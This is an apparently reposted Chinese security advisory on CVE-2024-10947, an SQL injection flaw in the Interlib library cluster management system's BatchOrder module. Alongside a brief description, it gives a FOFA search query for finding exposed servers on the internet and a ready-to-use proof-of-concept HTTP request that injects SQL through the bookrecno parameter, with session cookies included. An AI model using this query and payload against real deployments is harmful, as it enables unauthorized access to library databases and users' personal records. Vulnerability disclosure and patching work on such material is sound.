0x01 漏洞描述
广州图创计算机软件开发有限公司 Interlib <=V 2.0.1 SQL injection。
在Interlib图书馆集群自动化管理系统的版本V2.0.1（以下简称“Interlib V2.0.1”）中，位于/interlib/order/Batchorder的模块存在SQL注入。造成缺陷是因为该模块没有对用户提交的SQL命令进行充分的过滤或验证，使得攻击者有机会构造并执行恶意的SQL命令。未经授权的攻击者可通过这个漏洞来访问数据库中的敏感资料，包括图书馆的设置信息和用户信息等。
0x02 FOFA
body="图创软件" && icon_hash="-1224330121"
0x03 POC
GET /interlib/order/BatchOrder?cmdACT=admin_order&xsl=adminOrder_OrderList.xsl&bookrecno=-1<Encode> and#inject#--</Encode> HTTP/1.1Host: target-ipUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: JSESSIONID=9EFCA7209FCB0D1C3B8866575F370B38; loginid="ikj3/fdi/YQ="; JSESSIONID=50BA98F89EB38EF3B7A363EEFA31A4F3; isHaveAsk=falseConnection: close
0x04 产品官网
https://www.interlib.com.cn/tcweb/index可能受影响的系统：
原文始发于微信公众号（Eureka安全团队）：（CVE-2024-10947）广州图创-图书馆集群管理系统SQL注入漏洞-附POC
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论